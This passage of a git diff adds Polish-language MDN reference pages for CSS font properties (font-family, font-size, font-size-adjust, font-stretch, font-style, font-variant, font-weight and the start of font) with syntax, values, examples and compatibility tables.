name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h3> + +<table class="standard-table"> + <tbody> + <tr> + <th>Przeglądarka</th> + <th>Najniższa wersja</th> + </tr> + <tr> + <td>Internet Explorer</td> + <td>4</td> + </tr> + <tr> + <td>Netscape</td> + <td>4</td> + </tr> + <tr> + <td>Opera</td> + <td>3.5</td> + </tr> + </tbody> +</table> + +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> + +<p>{{ Cssxref("clear") }}, {{ Cssxref("display") }}, {{ Cssxref("position") }}</p> + +<div class="noinclude"> </div> + +<p>{{ languages( { "en": "en/CSS/float", "es": "es/CSS/float", "fr": "fr/CSS/float" } ) }}</p> diff --git a/files/pl/web/css/font-family/index.html b/files/pl/web/css/font-family/index.html new file mode 100644 index 0000000000..7a9bff6328 --- /dev/null +++ b/files/pl/web/css/font-family/index.html @@ -0,0 +1,58 @@ +--- +title: font-family +slug: Web/CSS/font-family +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/font-family +--- +<p>{{CSSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p><code>font-family</code> dopuszcza uszeregowaną pod względem ważności listę nazw rodzin czcionek oraz/lub nazwy rodzajów czcionek do zdefiniowania dla wybranego elementu. W przeciwieństwie do większości innych własności CSS, wartości są oddzielone przecinkiem, by wskazywały, że są alternatywami.</p> + +<p>{{cssinfo}}</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval">font-family: <family-or-generic-name> [, <family-or-generic-name>]* | inherit +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt><family-generic-name></dt> + <dd>jest jedną z wartości <code><family-name></code> lub <code><generic-family></code></dd> + <dt>family-name </dt> + <dd>Nazwa rodziny czcionek. Na przykład: "Times" i "Helvetica" są rodzinami czcionek. Nazwy rodziny czcionek, zawierające białe znaki, powinny być ujęte w cudzysłowy.</dd> + <dt>generic-family </dt> + <dd>Zdefiniowane są następujące rodzaje czcionek: <code>serif</code>, <code>sans-serif</code>, <code>cursive</code>, <code>fantasy</code>, <code>monospace</code>. Nazwy rodzajów są słowami kluczowymi i nie muszą być brane w cudzysłowy.</dd> +</dl> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<p><a href="/samples/cssref/font-family.html">Zobacz przykład</a></p> + +<pre>body { font-family: "Gill Sans Extrabold", Helvetica, sans-serif } + +.receipt { font-family: Courier, "Lucida Console", monospace } +</pre> + +<h2 id="Uwagi" name="Uwagi">Uwagi</h2> + +<p>Powinieneś zawsze określić nazwę rodzaju jako ostatnią wartość we własności <code>font-family</code>.</p> + +<p>Własność <code>font-family</code> wyszczególnia listę czcionek, od najwyższego priorytetu do najniższego. Wybór czcionki <em>nie</em> kończy się po prostu, gdy pierwsza z wymienionych czcionek jest w systemie użytkownika. Wybór czcionki odbywa się raczej jako <em>jeden znak naraz</em>, zatem, jeśli dostępna czcionka nie ma glifu (matrycy), który może wyświetlić potrzebny znak, wypróbowywana jest kolejna dostępna czcionka.</p> + +<p>Jeśli dla czcionki dostępne są tylko niektóre własności <a href="pl/CSS/font-style">styles</a>, <a href="pl/CSS/font-variant">variants</a> lub <a href="pl/CSS/font-size">sizes</a>, mogą one również wpływać na to, które rodziny czcionek zostaną wybrane.</p> + +<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/CSS1#font-family">CSS 1</a></li> + <li><a class="external" href="http://www.w3.org/TR/CSS21/fonts.html#font-family-prop">CSS 2.1</a></li> + <li><a class="external" href="http://www.w3.org/TR/2002/WD-css3-fonts-20020802/#font-family-prop">CSS 3</a></li> +</ul> diff --git a/files/pl/web/css/font-size-adjust/index.html b/files/pl/web/css/font-size-adjust/index.html new file mode 100644 index 0000000000..56561c4285 --- /dev/null +++ b/files/pl/web/css/font-size-adjust/index.html @@ -0,0 +1,60 @@ +--- +title: font-size-adjust +slug: Web/CSS/font-size-adjust +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/font-size-adjust +--- +<p>{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Własność {{ Cssxref("font-size-adjust") }} określa, że rozmiar czcionki powinien być wybrany raczej na podstawie wysokości małych liter niż wysokości dużych liter.</p> + +<p>Jest to użyteczne, ponieważ czytelność czcionek, zwłaszcza o małych rozmiarach, jest zdeterminowana bardziej przez rozmiar małych liter niż dużych liter. Może to powodować problemy, kiedy pierwsza czcionka zdefiniowana w {{ Cssxref("font-family") }} jest niedostępna, zaś czcionka ją zamieniająca ma znacząco odmienny stosunek proporcji (proporcję rozmiaru małych liter do rozmiaru czcionki).</p> + +<p>Zrobienie tego w sposób, który jest zgodny z przeglądarkami niewspierającymi {{ Cssxref("font-size-adjust") }}, polega na określeniu liczby, która zwielokrotnia własność {{ Cssxref("font-size") }}. Oznacza to, że wartość określona dla tej własności powinna być zasadniczo stosunkiem proporcji pierwszej deklarowanej czcionki. Na przykład, arkusz stylu, który definiuje <code><a href="pl/CSS/font-size">font-size</a>: 16px; <a href="pl/CSS/font-size-adjust">font-size-adjust</a>: 0.5</code>, w praktyce określa, że rozmiar małych liter czcionki powinien wynosić <code>8px</code> wysokości (16px razy 0.5).</p> + +<p>{{cssinfo}}</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<p><code>font-size-adjust:</code> <liczba> | <code>none</code> | {{ Cssxref("inherit") }}</p> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt><code>none</code> </dt> + <dd>Wybiera rozmiar czcionki opierając się jedynie na własności {{ Cssxref("font-size") }}.</dd> + <dt><liczba> </dt> + <dd> + <p>Wybiera rozmiar czcionki w ten sposób, że jej małe litery (jako wyznaczone przez wartość x-height czcionki) są określane liczbą zwielokrotniająca {{ Cssxref("font-size") }}.</p> + + <p>Zdefiniowana liczba powinna być zasadniczo stosunkiem proporcji (proporcja wartości x-height do rozmiaru czcionki) czcionki wybieranej w pierwszej kolejności w {{ Cssxref("font-family") }}. Będzie to oznaczało, że czcionka wybrana w pierwszej kolejności, kiedy jest dostępna, wyświetli się w tym samym rozmiarze w przeglądarkach, niezależnie, czy wspierają własność {{ Cssxref("font-size-adjust") }}.</p> + </dd> +</dl> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<p><a href="/samples/cssref/font-size-adjust.html">Zobacz przykład</a></p> + +<pre>p{ + font: 12px Verdana, sans-serif; + font-size-adjust: 0.58; +} + +</pre> + +<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/1998/REC-CSS2-19980512/fonts.html#propdef-font-size-adjust">CSS 2</a></li> + <li><a class="external" href="http://www.w3.org/TR/css3-fonts/#font-size-adjust">css3-fonts</a></li> +</ul> + +<h2 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h2> + +<p>Wspierana na wszystkich platformach począwszy od Gecko 1.9 / Firefox 3, zaś w Windows wpierana wcześniej.</p> diff --git a/files/pl/web/css/font-size/index.html b/files/pl/web/css/font-size/index.html new file mode 100644 index 0000000000..a269accdc6 --- /dev/null +++ b/files/pl/web/css/font-size/index.html @@ -0,0 +1,339 @@ +--- +title: font-size +slug: Web/CSS/font-size +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/CSS/font-size +--- +<div>{{CSSRef}}</div> + +<p>The <strong><code>font-size</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> property specifies the size of the font. Setting this property may change the size of other items, too, since it is used to compute the value of <code>em</code>, <code>ex</code>, and various other relative {{cssxref("<length>")}} units.</p> + +<pre class="brush:css no-line-numbers">/* <absolute-size> values */ +font-size: xx-small; +font-size: x-small; +font-size: small; +font-size: medium; +font-size: large; +font-size: x-large; +font-size: xx-large; + +/* <relative-size> values */ +font-size: smaller; +font-size: larger; + +/* <length> values */ +font-size: 12px; +font-size: 0.8em; + +/* <percentage> values */ +font-size: 80%; + +/* Global values */ +font-size: inherit; +font-size: initial; +font-size: unset; +</pre> + +<div class="hidden" id="font-size"> +<pre class="brush: html"><div id="container"> + <p id="xx-small">xx-small</p> + <p id="x-small">x-small</p> + <p id="small">small</p> + <p id="medium">medium</p> + <p id="large">large</p> + <p id="x-large">x-large</p> + <p id="xx-large">xx-large</p> + <p id="twelve-px">12px</p> + <div id="parent-twelve-px"> + 12px + <p id="smaller">smaller</p> + <p id="larger">larger</p> + <p id="zero-dot-eight-em">0.8em</p> + </div> + <div id="parent-twenty-four-px"> + 24px + <p id="smaller">smaller</p> + <p id="larger">larger</p> + <p id="zero-dot-eight-em">0.8em</p> + </div> +</div> +</pre> + +<pre class="brush: css">#container { + width: 100%; + display: flex; + flex-wrap: wrap; +} + +div > p { + border: 1px solid black; + display: flex; + align-items: center; + margin: 8px; + padding: 8px; +} + +#parent-twelve-px, +#parent-twenty-four-px { + display: flex; + border: 1px solid black; + padding: 8px; + margin: 8px; +} + +#parent-twelve-px { + font-size: 12px; +} + +#parent-twenty-four-px { + font-size: 24px; +} + +#xx-small { + font-size: xx-small; +} + +#x-small { + font-size: x-small; +} + +#small { + font-size: small; +} + +#medium { + font-size: medium; +} + +#large { + font-size: large; +} + +#x-large { + font-size: x-large; +} + +#xx-large { + font-size: xx-large; +} + +#smaller { + font-size: smaller; +} + +#larger { + font-size: larger; +} + +#twelve-px { + font-size: 12px; +} + +#zero-dot-eight-em { + font-size: 0.8em; +} +</pre> +</div> + +<p>{{EmbedLiveSample("font-size", 1200, 180, "", "", "example-outcome-frame")}}</p> + +<p>{{cssinfo}}</p> + +<h2 id="Syntax">Syntax</h2> + +<p>The <code>font-size</code> property is specified in one of the following ways:</p> + +<ul> + <li>As one of the <a href="#absolute-size">absolute-size</a> or <a href="#relative-size">relative-size</a> keywords</li> + <li>As a <code><length></code> or a <code><percentage></code>, relative to the parent element's font size</li> +</ul> + +<h3 id="Values">Values</h3> + +<dl> + <dt><a id="absolute-size" name="absolute-size"><code>xx-small</code>, <code>x-small</code>, <code>small</code>, <code>medium</code>, <code>large</code>, <code>x-large</code>, <code>xx-large</code></a></dt> + <dd>Absolute-size keywords, based on the user's default font size (which is <code>medium</code>).</dd> + <dt><a id="relative-size" name="relative-size"><code>larger</code>, <code>smaller</code></a></dt> + <dd>Relative-size keywords. The font will be larger or smaller relative to the parent element's font size, roughly by the ratio used to separate the absolute-size keywords above.</dd> + <dt><a id="<length>" name="<length>">{{cssxref("<length>")}}</a></dt> + <dd> + <p>A positive {{cssxref("<length>")}} value. For most font-relative units (such as <code>em</code> and <code>ex</code>), the font size is relative to the parent element's font size.</p> + + <p>For font-relative units that are root-based (such as <code>rem</code>), the font size is relative to the size of the font used by the {{HTMLElement("html")}} (root) element.</p> + </dd> + <dt><a id="<percentage>" name="<percentage>">{{cssxref("<percentage>")}}</a></dt> + <dd> + <p>A positive {{cssxref("<percentage>")}} value, relative to the parent element's font size.</p> + </dd> +</dl> + +<div class="note"> +<p><strong>Note:</strong> To maximize accessibility, it is generally best to use values that are relative to the user's default font size.</p> +</div> + +<h3 id="Formal_syntax">Formal syntax</h3> + +<pre class="syntaxbox">{{csssyntax}}</pre> + +<h2 id="Possible_approaches">Possible approaches</h2> + +<p>There are several ways to specify the font size, including with keywords or numerical values for pixels or ems. Choose the appropriate method based on the needs for the particular web page.</p> + +<h3 id="Keywords">Keywords</h3> + +<p>Keywords are a good way to set the size of fonts on the web. By setting a keyword font size on the body element, you can set relative font-sizing everywhere else on the page, giving you the ability to easily scale the font up or down on the entire page accordingly.</p> + +<h3 id="Pixels">Pixels</h3> + +<p>Setting the font size in pixel values (<code>px</code>) is a good choice when you need pixel accuracy. A px value is static. This is an OS-independent and cross-browser way of literally telling the browsers to render the letters at exactly the number of pixels in height that you specified. The results may vary slightly across browsers, as they may use different algorithms to achieve a similar effect.</p> + +<p>Font sizing settings can also be used in combination. For example, if a parent element is set to <code>16px</code> and its child element is set to <code>larger</code>, the child element displays larger than the parent element in the page.</p> + +<div class="note"><strong>Note:</strong> Defining font sizes in <code>px</code> is <em><a href="https://en.wikipedia.org/wiki/Web_accessibility">not accessible</a></em>, because the user cannot change the font size from the browser. For example, users with limited vision may wish to set the font size much larger than the size chosen by a web designer. Avoid using them for font sizes if you wish to create an inclusive design.</div> + +<h3 id="Ems">Ems</h3> + +<p>Another way of setting the font size is with <code>em</code> values. The size of an <code>em</code> value is dynamic. When defining the <code>font-size</code> property, an em is equal to the size of the font that applies to the parent of the element in question. If you haven't set the font size anywhere on the page, then it is the browser default, which is often 16px. So, by default 1em = 16px, and 2em = 32px. If you set a <code>font-size</code> of 20px on the body element, then 1em = 20px and 2em = 40px. Note that the value 2 is essentially a multiplier of the current em size.</p> + +<p>In order to calculate the em equivalent for any pixel value required, you can use this formula:</p> + +<pre class="brush: plain">em = desired element pixel value / parent element font-size in pixels</pre> + +<p>For example, suppose the font-size of the body of the page is set to 16px. If the font-size you want is 12px, then you should specify 0.75em (because 12/16 = 0.75). Similarly, if you want a font size of 10px, then specify 0.625em (10/16 = 0.625); for 22px, specify 1.375em (22/16).</p> + +<p>The em is a very useful unit in CSS, since it automatically adapts its length relative to the font that the reader chooses to use.</p> + +<p>One important fact to keep in mind: em values compound. Take the following HTML and CSS:</p> + +<pre class="brush: css">html { + font-size: 62.5%; /* font-size 1em = 10px on default browser settings */ +} +span { + font-size: 1.6em; +}</pre> + +<pre class="brush: html"><div> +<span>Outer <span>inner</span> outer</span> +</div> +</pre> + +<p>The result is:</p> + +<p>{{EmbedLiveSample("Ems", 400, 40)}}</p> + +<p>Assuming that the browser's default <code>font-size</code> is 16px, the words “outer” would be rendered at 16px, but the word “inner” would be rendered at 25.6px. This is because the inner span's <code>font-size</code> is 1.6 em which is relative to its parent's <code>font-size</code>, which is in turn relative to its parent's <code>font-size</code>. This is often called <strong>compounding</strong>.</p> + +<h3 id="Rems">Rems</h3> + +<p><code>rem</code> values were invented in order to sidestep the compounding problem. <code>rem</code> values are relative to the root <code>html</code> element, not the parent element. In other words, it lets you specify a font size in a relative fashion without being affected by the size of the parent, thereby eliminating compounding.</p> + +<p>The CSS below is nearly identical to the previous example. The only exception is that the unit has been changed to <code>rem</code>.</p> + +<pre class="brush: css">html { + font-size: 62.5%; /* font-size 1em = 10px on default browser settings */ +} +span { + font-size: 1.6rem; +} +</pre> + +<p>Then we apply this CSS to the same HTML, which looks like this:</p> + +<pre class="brush: html"><span>Outer <span>inner</span> outer</span></pre> + +<p>{{EmbedLiveSample("Rems", 400, 40)}}</p> + +<p>In this example, the words “outer inner outer” are all displayed at 16px (assuming that the browser's font-size has been left at the default value of 16px).</p> + +<h2 id="Examples">Examples</h2> + +<h3 id="Example_1">Example 1</h3> + +<pre class="brush: css">/* Sets paragraph text to be very large */ +p { font-size: xx-large; } + +/* Sets <h1> text to be 2.5 times the size + of the text around it */ +h1 { font-size: 250%; } + +/* Sets text enclosed within span tag to be 16px */ +span { font-size: 16px; } +</pre> + +<h3 id="Example_2">Example 2</h3> + +<h4 id="CSS">CSS</h4> + +<pre class="brush: css">.small { + font-size: xx-small; +} +.larger { + font-size: larger; +} +.point { + font-size: 24pt; +} +.percent { + font-size: 200%; +} +</pre> + +<h4 id="HTML">HTML</h4> + +<pre class="brush: html"><h1 class="small">Small H1</h1> +<h1 class="larger">Larger H1</h1> +<h1 class="point">24 point H1</h1> +<h1 class="percent">200% H1</h1></pre> + +<h4 id="Result">Result</h4> + +<p>{{EmbedLiveSample('Example_2','600','200')}}</p> + +<h2 id="Notes">Notes</h2> + +<p><code>em</code> and <code>ex</code> units on the {{Cssxref("font-size")}} property are relative to the parent element's font size (unlike all other properties, where they're relative to the font size on the element). This means <code>em</code> units and percentages do the same thing for {{Cssxref("font-size")}}.</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSS3 Fonts', '#font-size-prop', 'font-size')}}</td> + <td>{{Spec2('CSS3 Fonts')}}</td> + <td>No change.</td> + </tr> + <tr> + <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'font-size')}}</td> + <td>{{Spec2('CSS3 Transitions')}}</td> + <td>Defines <code>font-size</code> as animatable.</td> + </tr> + <tr> + <td>{{SpecName('CSS2.1', 'fonts.html#propdef-font-size', 'font-size')}}</td> + <td>{{Spec2('CSS2.1')}}</td> + <td>No change.</td> + </tr> + <tr> + <td>{{SpecName('CSS1', '#font-size', 'font-size')}}</td> + <td>{{Spec2('CSS1')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("css.properties.font-size")}}</p> diff --git a/files/pl/web/css/font-stretch/index.html b/files/pl/web/css/font-stretch/index.html new file mode 100644 index 0000000000..751195d6e4 --- /dev/null +++ b/files/pl/web/css/font-stretch/index.html @@ -0,0 +1,77 @@ +--- +title: font-stretch +slug: Web/CSS/font-stretch +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/font-stretch +--- +<p>{{CSSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Własność <strong>font-stretch</strong> wybiera normalny, zwężony lub poszerzony krój z rodziny czcionek.</p> + +<p>{{cssinfo}}</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<dl> + <dt>Wartości bezwględne</dt> + <dd> </dd> + <dd><code>font-stretch:</code> <code>normal</code> ;</dd> + <dd><code>font-stretch:</code> {{ mediawiki.external('<code>ultra-condensed</code> | <code>extra-condensed</code> | <code>condensed</code> | <code>semi-condensed</code>') }} ;</dd> + <dd><code>font-stretch:</code> {{ mediawiki.external('<code>semi-expanded</code> | <code>expanded</code> | <code>extra-expanded</code> | <code>ultra-expanded</code>') }} ;</dd> +</dl> + +<dl> + <dt>Wartości względne</dt> + <dd> </dd> + <dd><code>font-stretch:</code> {{ mediawiki.external('<code>wider</code> | <code>narrower</code>') }} ;</dd> +</dl> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt>normal</dt> + <dd>Definiuje normalną szerokość kroju czcionki.</dd> +</dl> + +<dl> + <dt>semi-condensed, condensed, extra-condensed, ultra-condensed</dt> + <dd>Definiuje krój czcionki węższy niż normalny, przy czym ultra-condensed jest najwęższy.</dd> +</dl> + +<dl> + <dt>semi-expanded, expanded, extra-expanded, ultra-expanded</dt> + <dd>Definiuje krój czcionki szerszy niż normalny, przy czym ultra-expanded jest najszerszy.</dd> +</dl> + +<dl> + <dt>wider</dt> + <dd>Wartość względna 'wider' ustawia szerszy o jedną wartość krój czcionki niż wartość odziedziczona (lecz nie szerszą niż ultra-expanded).</dd> +</dl> + +<dl> + <dt>narrower</dt> + <dd>Wartość względna 'narrower' ustawia węższy o jedną wartość krój czcionki niż wartość odziedziczona (lecz nie węższą niż ultra-condensed).</dd> +</dl> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<pre>h1 { font-stretch: extra-expanded } +p { font-stretch: narrower} +</pre> + +<h2 id="Notatki" name="Notatki">Notatki</h2> + +<p><strong>UWAGA:</strong> Ta własność CSS <strong>NIE JEST JESZCZE ZAIMPLEMENTOWANA</strong>, zobacz {{ Bug(3512) }}, by sprawdzić aktualny status prośby o dodanie.</p> + +<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/CSS2/fonts.html#propdef-font-stretch">CSS 2 fonts</a></li> + <li><a class="external" href="http://www.w3.org/TR/css3-fonts/#font-stretch">CSS 3 fonts</a></li> +</ul> diff --git a/files/pl/web/css/font-style/index.html b/files/pl/web/css/font-style/index.html new file mode 100644 index 0000000000..3c04d0a8ac --- /dev/null +++ b/files/pl/web/css/font-style/index.html @@ -0,0 +1,49 @@ +--- +title: font-style +slug: Web/CSS/font-style +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/font-style +--- +<p>{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Własność <code>font-style</code> definiuje kroje czcionki <code>normal</code> (określany również jako <code>upright</code> lub <code>roman</code>), <code>italic</code> oraz <code>oblique</code> spośród rodziny czcionek.</p> + +<p>{{cssinfo}}</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox">{{csssyntax}}</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt>normal, oblique, italic </dt> + <dd>Określa, że program powinien wybrać krój czcionki <code>normal</code>, <code>oblique</code> lub <code>italic</code> dla czcionki zdefiniowanej w {{ Cssxref("font-family") }}.</dd> +</dl> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<p> </p> + +<p><a href="/samples/cssref/font-style.html">Zobacz przykład</a></p> + +<p> </p> + +<pre>h1 { font-style: italic } +p { font-style: oblique } + +</pre> + +<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/CSS1#font-style">CSS 1</a></li> + <li><a class="external" href="http://www.w3.org/TR/CSS21/fonts.html#propdef-font-style">CSS 2.1</a></li> + <li><a class="external" href="http://www.w3.org/TR/css3-fonts/#font-style">css3-fonts</a></li> +</ul> diff --git a/files/pl/web/css/font-variant/index.html b/files/pl/web/css/font-variant/index.html new file mode 100644 index 0000000000..e1c3cab355 --- /dev/null +++ b/files/pl/web/css/font-variant/index.html @@ -0,0 +1,79 @@ +--- +title: font-variant +slug: Web/CSS/font-variant +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/font-variant +--- +<p>{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Własność <code>font-variant</code> wybiera z rodziny czcionek wygląd normalny lub kapitaliki.</p> + +<p>{{cssinfo}}</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<dl> + <dd><code>font-variant:</code> {{ mediawiki.external('<code>normal</code> | <code>small-caps</code>') }} ;</dd> +</dl> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt>normal</dt> + <dd>Definiuje normalny krój czcionki.</dd> +</dl> + +<dl> + <dt>small-caps</dt> + <dd>Definiuje czcionkę, która jest wyróżniona kapitalikami. Jeśli kapitaliki nie są dostępne, Mozilla będzie symulowała kapitaliki, np. poprzez użycie normalnego kroju czcionki i zamianę małych liter przeskalowanymi wielkimi literami.</dd> +</dl> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<pre>h1 { font-variant: small-caps } +p { font-variant: small-caps} +</pre> + +<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/CSS2/fonts.html#propdef-font-variant">CSS 2 fonts</a></li> + <li><a class="external" href="http://www.w3.org/TR/css3-fonts/#font-variant">CSS 3 fonts</a></li> +</ul> + +<h2 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th>Przeglądarka</th> + <th>Najniższa wersja</th> + </tr> + <tr> + <td>Internet Explorer</td> + <td>?</td> + </tr> + <tr> + <td>Firefox</td> + <td>?</td> + </tr> + <tr> + <td>Netscape</td> + <td>?</td> + </tr> + <tr> + <td>Opera</td> + <td>?</td> + </tr> + <tr> + <td>Safari</td> + <td>?</td> + </tr> + </tbody> +</table> diff --git a/files/pl/web/css/font-weight/index.html b/files/pl/web/css/font-weight/index.html new file mode 100644 index 0000000000..8e4779355b --- /dev/null +++ b/files/pl/web/css/font-weight/index.html @@ -0,0 +1,107 @@ +--- +title: font-weight +slug: Web/CSS/font-weight +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/font-weight +--- +<p>{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Własność {{ Cssxref("font-weight") }} określa wagę lub grubość czcionki.</p> + +<p>{{cssinfo}}</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<p><code>font-weight:</code> <code>normal</code> | <code>bold</code> | <code>bolder</code> | <code>lighter</code> | <code>100</code> | <code>200</code> | <code>300</code> | <code>400</code> | <code>500</code> | <code>600</code> | <code>700</code> | <code>800</code> | <code>900</code> | {{ Cssxref("inherit") }}</p> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt>normal </dt> + <dd>Normalna waga czcionki. Identycznie jak 400.</dd> + <dt>bold </dt> + <dd>Pogrubiona czcionka. Identycznie jak 700.</dd> + <dt>lighter </dt> + <dd>Waga czcionki lżejsza o jedną wartość niż w elemencie rodzica (spośród dostępnych wag czcionki)</dd> + <dt>bolder </dt> + <dd>Waga czcionki cięższa o jedną wartość niż w elemencie rodzica (spośród dostępnych wag czcionki)</dd> + <dt>100, 200, 300, 400, 500, 600, 700, 800, 900 </dt> + <dd>Liczbowe wartość wag czcionek dla czcionek, które mają więcej niż tylko waga normalna i pogrubiona. Jeśli wybrana waga jest niedostępna, wtedy dla wartości 600-900 używana jest najbliższa dostępna większa wagi (lub jeśli takiej nie ma, najbliższa dostępna lżejsza waga), a dla wartości 100-500 używana jest najbliższa dostępna mniejsza waga (lub jeśli takiej nie ma, najbliższa dostępna większa waga). Oznacza to, że dla czcionek, które mają tylko wagi normalną i pogrubioną, wartości 100-500 stają się wagą normalną, a 600-900 pogrubioną.</dd> +</dl> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html"><p> + Alice was beginning to get very tired of sitting by her sister on the + bank, and of having nothing to do: once or twice she had peeped into the + book her sister was reading, but it had no pictures or conversations in + it, 'and what is the use of a book,' thought Alice 'without pictures or + conversations?' +</p> + +<div>I'm heavy<br/> + <span>I'm lighter</span> +</div> +</pre> + +<h3 id="CSS">CSS</h3> + +<pre class="brush:css">/* Set paragraph text to be bold. */ +p { + font-weight: bold; +} + +/* Set div text to two steps darker than + normal but less than a standard bold. */ +div { + font-weight: 600; +} + +/* Sets text enclosed within span tag + to be one step lighter than the parent. */ +span { + font-weight: lighter; +}</pre> + +<h3 id="Result">Result</h3> + +<p>{{EmbedLiveSample("Przykłady","400","300")}}</p> + +<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/CSS1#font-weight">CSS 1</a></li> + <li><a class="external" href="http://www.w3.org/TR/CSS21/fonts.html#propdef-font-weight">CSS 2.1</a></li> + <li><a class="external" href="http://www.w3.org/TR/css3-fonts/#font-weight">css3-fonts</a></li> +</ul> + +<h2 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th>Przeglądarka</th> + <th>Najniższa wersja</th> + </tr> + <tr> + <td>Internet Explorer</td> + <td>3</td> + </tr> + <tr> + <td>Netscape</td> + <td>4</td> + </tr> + <tr> + <td>Opera</td> + <td>3.5</td> + </tr> + </tbody> +</table> diff --git a/files/pl/web/css/font/index.html b/files/pl/web/css/font/index.html new file mode 100644 index 0000000000..8e8c668216 --- /dev/null +++ b/files/pl/web/css/font/index.html @@ -0,0 +1,145 @@ +--- +title: font +slug: Web/CSS/font +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/font +--- +<p>{{ CSSRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Własność <code>font</code> jest skrótową własnością do ustawienia {{ Cssxref("font-style") }}, {{ Cssxref("font-variant") }}, {{ Cssxref("font-weight") }}, {{ Cssxref("font-size") }}, {{ Cssxref("line-height") }} oraz {{ Cssxref("font-family") }} w jednym miejscu w arkuszu stylów.</p> + +<ul> + <li>{{ Xref_cssinitial() }}: sprawdź indywidualne własności</li> + <li>Stosowana do: wszystkich elementów</li> + <li>{{ Xref_cssinherited() }}: tak</li> + <li>Media: {{ Xref_cssvisual() }}</li> + <li>{{ Xref_csscomputed() }}:</li> +</ul> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<p><code>font:</code> [ <{{ Cssxref("font-style") }}> || <{{ Cssxref("font-variant") }}> || <{{ Cssxref("font-weight") 